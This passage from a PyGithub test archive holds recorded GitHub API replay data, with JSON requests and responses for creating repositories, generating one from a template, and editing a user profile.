https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"subscribers_count":1,"network_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateRepoFromTemplateWithAllArguments.txt0000644000175100001660000005442414756101563032774 0ustar00runnerdockerhttps GET api.github.com None /repos/actions/hello-world-docker-action {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 19:18:56 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1581452316'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', 'W/"63c75e6c241c8aa34fa31eaac3091d88"'), ('Last-Modified', 'Fri, 07 Feb 2020 09:28:27 GMT'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1BD6:14E8:BA6CC:1C4CAD:5E42FE20')] {"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","private":false,"owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"admin":false,"push":false,"pull":true},"temp_clone_token":"","organization":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"network_count":30,"subscribers_count":1} https GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"79f748546e5fc4492505a70de6542183"'), ('date', 'Tue, 08 May 2012 09:51:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"public_repos":10,"type":"User","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","followers":13,"bio":"","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","disk_usage":16692,"plan":{"private_repos":5,"space":614400,"name":"micro","collaborators":1},"html_url":"https://github.com/jacquev6","blog":"http://vincent-jacques.net","login":"jacquev6","email":"vincent@vincent-jacques.net","created_at":"2010-07-09T06:10:06Z","company":"Criteo","location":"Paris, France","total_private_repos":5,"public_gists":1,"following":24,"name":"Vincent Jacques","id":327146,"owned_private_repos":5,"private_gists":5,"collaborators":0,"hireable":false,"node_id":"MDQ6VXNlcjMyNzE0Ng=="} https POST api.github.com None /repos/actions/hello-world-docker-action/generate {'Accept': 'application/vnd.github.v3+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"name": "hello-world-docker-action-new", "owner": "jacquev6", "description": "My repo from template", "include_all_branches": true, "private": true} 201 [('Server', 'GitHub.com'), ('Date', 'Tue, 11 Feb 2020 19:18:59 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '11794'), ('Status', '201 Created'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1581452316'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept'), ('ETag', '"7fe9f51a711de4ffab9b930e33e3d875"'), ('X-OAuth-Scopes', 'public_repo, read:org, read:user, user:email'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/hello-world-docker-action-new'), ('X-GitHub-Media-Type', 'github.baptiste-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', '3FB4:2492:632B7:FC388:5E42FE21')] {"id":239844699,"node_id":"MDEwOlJlcG9zaXRvcnkyMzk4NDQ2OTk=","name":"hello-world-docker-action-new","full_name":"jacquev6/hello-world-docker-action-new","owner":{"login":"jacquev6","id":9718970,"node_id":"MDQ6VXNlcjk3MTg5NzA=","avatar_url":"https://avatars2.githubusercontent.com/u/9718970?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"private":true,"html_url":"https://github.com/jacquev6/hello-world-docker-action-new","description":"My repo from template","fork":false,"url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new","forks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/forks","keys_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/teams","hooks_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/events","assignees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/tags","blobs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/subscription","commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/merges","archive_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/downloads","issues_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hello-world-docker-action-new/deployments","created_at":"2020-02-11T19:18:57Z","updated_at":"2020-02-11T19:18:57Z","pushed_at":"2020-02-11T19:18:59Z","git_url":"git://github.com/jacquev6/hello-world-docker-action-new.git","ssh_url":"git@github.com:jacquev6/hello-world-docker-action-new.git","clone_url":"https://github.com/jacquev6/hello-world-docker-action-new.git","svn_url":"https://github.com/jacquev6/hello-world-docker-action-new","homepage":null,"size":0,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"pull":true,"push":true,"admin":true},"is_template":false,"template_repository":{"id":200448202,"node_id":"MDEwOlJlcG9zaXRvcnkyMDA0NDgyMDI=","name":"hello-world-docker-action","full_name":"actions/hello-world-docker-action","owner":{"login":"actions","id":44036562,"node_id":"MDEyOk9yZ2FuaXphdGlvbjQ0MDM2NTYy","avatar_url":"https://avatars1.githubusercontent.com/u/44036562?v=4","gravatar_id":"","url":"https://api.github.com/users/actions","html_url":"https://github.com/actions","followers_url":"https://api.github.com/users/actions/followers","following_url":"https://api.github.com/users/actions/following{/other_user}","gists_url":"https://api.github.com/users/actions/gists{/gist_id}","starred_url":"https://api.github.com/users/actions/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/actions/subscriptions","organizations_url":"https://api.github.com/users/actions/orgs","repos_url":"https://api.github.com/users/actions/repos","events_url":"https://api.github.com/users/actions/events{/privacy}","received_events_url":"https://api.github.com/users/actions/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/actions/hello-world-docker-action","description":"A template to demonstrate how to build a Docker action.","fork":false,"url":"https://api.github.com/repos/actions/hello-world-docker-action","forks_url":"https://api.github.com/repos/actions/hello-world-docker-action/forks","keys_url":"https://api.github.com/repos/actions/hello-world-docker-action/keys{/key_id}","collaborators_url":"https://api.github.com/repos/actions/hello-world-docker-action/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/actions/hello-world-docker-action/teams","hooks_url":"https://api.github.com/repos/actions/hello-world-docker-action/hooks","issue_events_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/events{/number}","events_url":"https://api.github.com/repos/actions/hello-world-docker-action/events","assignees_url":"https://api.github.com/repos/actions/hello-world-docker-action/assignees{/user}","branches_url":"https://api.github.com/repos/actions/hello-world-docker-action/branches{/branch}","tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/tags","blobs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/refs{/sha}","trees_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/trees{/sha}","statuses_url":"https://api.github.com/repos/actions/hello-world-docker-action/statuses/{sha}","languages_url":"https://api.github.com/repos/actions/hello-world-docker-action/languages","stargazers_url":"https://api.github.com/repos/actions/hello-world-docker-action/stargazers","contributors_url":"https://api.github.com/repos/actions/hello-world-docker-action/contributors","subscribers_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscribers","subscription_url":"https://api.github.com/repos/actions/hello-world-docker-action/subscription","commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/commits{/sha}","git_commits_url":"https://api.github.com/repos/actions/hello-world-docker-action/git/commits{/sha}","comments_url":"https://api.github.com/repos/actions/hello-world-docker-action/comments{/number}","issue_comment_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues/comments{/number}","contents_url":"https://api.github.com/repos/actions/hello-world-docker-action/contents/{+path}","compare_url":"https://api.github.com/repos/actions/hello-world-docker-action/compare/{base}...{head}","merges_url":"https://api.github.com/repos/actions/hello-world-docker-action/merges","archive_url":"https://api.github.com/repos/actions/hello-world-docker-action/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/actions/hello-world-docker-action/downloads","issues_url":"https://api.github.com/repos/actions/hello-world-docker-action/issues{/number}","pulls_url":"https://api.github.com/repos/actions/hello-world-docker-action/pulls{/number}","milestones_url":"https://api.github.com/repos/actions/hello-world-docker-action/milestones{/number}","notifications_url":"https://api.github.com/repos/actions/hello-world-docker-action/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/actions/hello-world-docker-action/labels{/name}","releases_url":"https://api.github.com/repos/actions/hello-world-docker-action/releases{/id}","deployments_url":"https://api.github.com/repos/actions/hello-world-docker-action/deployments","created_at":"2019-08-04T04:10:12Z","updated_at":"2020-02-07T09:28:27Z","pushed_at":"2020-01-17T19:48:23Z","git_url":"git://github.com/actions/hello-world-docker-action.git","ssh_url":"git@github.com:actions/hello-world-docker-action.git","clone_url":"https://github.com/actions/hello-world-docker-action.git","svn_url":"https://github.com/actions/hello-world-docker-action","homepage":"https://help.github.com/en/articles/creating-a-docker-container-action","size":11,"stargazers_count":26,"watchers_count":26,"language":"Dockerfile","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":30,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":1,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":30,"open_issues":1,"watchers":26,"default_branch":"master","permissions":{"pull":true,"push":false,"admin":false},"is_template":true},"subscribers_count":1,"network_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateRepository.txt0000644000175100001660000000312714756101563026545 0ustar00runnerdockerhttps POST api.github.com None /user/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"name": "TestPyGithub"} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4996'), ('content-length', '1035'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0dee1203022ede8b8374b387ba479ffd"'), ('date', 'Thu, 10 May 2012 19:17:12 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/TestPyGithub')] {"mirror_url":null,"homepage":null,"clone_url":"https://github.com/jacquev6/TestPyGithub.git","html_url":"https://github.com/jacquev6/TestPyGithub","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_downloads":true,"watchers":1,"git_url":"git://github.com/jacquev6/TestPyGithub.git","permissions":{"admin":true,"pull":true,"push":true},"has_wiki":true,"has_issues":true,"fork":false,"forks":1,"language":null,"size":0,"description":null,"private":false,"created_at":"2012-05-10T19:17:12Z","open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","id":327146},"name":"TestPyGithub","pushed_at":"2012-05-10T19:17:12Z","id":4288693,"ssh_url":"git@github.com:jacquev6/TestPyGithub.git","updated_at":"2012-05-10T19:17:12Z"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAllArguments.txt0000644000175100001660000000422114756101563031714 0ustar00runnerdockerhttps POST api.github.com None /user/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"has_wiki": false, "name": "TestPyGithub", "has_downloads": false, "private": false, "has_issues": false, "homepage": "http://foobar.com", "description": "Repo created by PyGithub", "has_projects": false, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false, "has_discussions": false} 201 [('status', '201 Created'), ('x-ratelimit-remaining', '4979'), ('content-length', '1111'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1c6473a60481c33b28a926041f763fce"'), ('date', 'Sat, 26 May 2012 09:55:27 GMT'), ('content-type', 'application/json; charset=utf-8'), ('location', 'https://api.github.com/repos/jacquev6/TestPyGithub')] {"clone_url":"https://github.com/jacquev6/TestPyGithub.git","has_downloads":false,"watchers":1,"git_url":"git://github.com/jacquev6/TestPyGithub.git","updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"mirror_url":null,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub", "has_projects": false, "allow_squash_merge": false, "allow_merge_commit": false, "allow_rebase_merge": true, "delete_branch_on_merge": false, "has_discussions": false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testCreateRepositoryWithAutoInit.txt0000644000175100001660000000364614756101563031064 0ustar00runnerdockerhttps POST api.github.com None /user/repos {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"gitignore_template": "Python", "name": "TestPyGithub", "auto_init": true} 201 [('status', '201 Created'), ('content-length', '1176'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('x-ratelimit-remaining', '4999'), ('server', 'nginx'), ('connection', 'keep-alive'), ('etag', '"762d15bfe4477f7ec15c3c08a07da857"'), ('location', 'https://api.github.com/repos/jacquev6/TestPyGithub'), ('cache-control', 'max-age=0, private, must-revalidate'), ('date', 'Sat, 03 Nov 2012 09:01:00 GMT'), ('content-type', 'application/json; charset=utf-8')] {"watchers":0,"pushed_at":"2012-11-03T09:00:59Z","forks":0,"has_issues":true,"has_downloads":true,"open_issues_count":0,"description":null,"html_url":"https://github.com/jacquev6/TestPyGithub","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/TestPyGithub","updated_at":"2012-11-03T09:01:00Z","permissions":{"push":true,"pull":true,"admin":true},"mirror_url":null,"clone_url":"https://github.com/jacquev6/TestPyGithub.git","language":null,"has_wiki":true,"ssh_url":"git@github.com:jacquev6/TestPyGithub.git","svn_url":"https://github.com/jacquev6/TestPyGithub","size":0,"fork":false,"full_name":"jacquev6/TestPyGithub","open_issues":0,"git_url":"git://github.com/jacquev6/TestPyGithub.git","forks_count":0,"name":"TestPyGithub","created_at":"2012-11-03T09:00:59Z","homepage":null,"private":false,"id":6517838,"master_branch":"master","network_count":0,"watchers_count":0} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/AuthenticatedUser.testEditWithAllArguments.txt0000644000175100001660000000306114756101563027277 0ustar00runnerdockerhttps PATCH api.github.com None /user {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"bio": "Bio edited by PyGithub", "name": "Name edited by PyGithub", "company": "Company edited by PyGithub", "blog": "Blog edited by PyGithub", "location": "Location edited by PyGithub", "hireable": true, "email": "Email edited by PyGithub"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('content-length', '858'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"4695e7d2dc3084a322fe83f342448a79"'), ('date', 'Tue, 08 May 2012 10:04:55 GMT'), ('content-type', 'application/json; charset=utf-8')] {"private_gists":5,"type":"User","hireable":true,"following":24,"company":"Company edited by PyGithub","blog":"Blog edited by PyGithub","bio":"Bio edited by 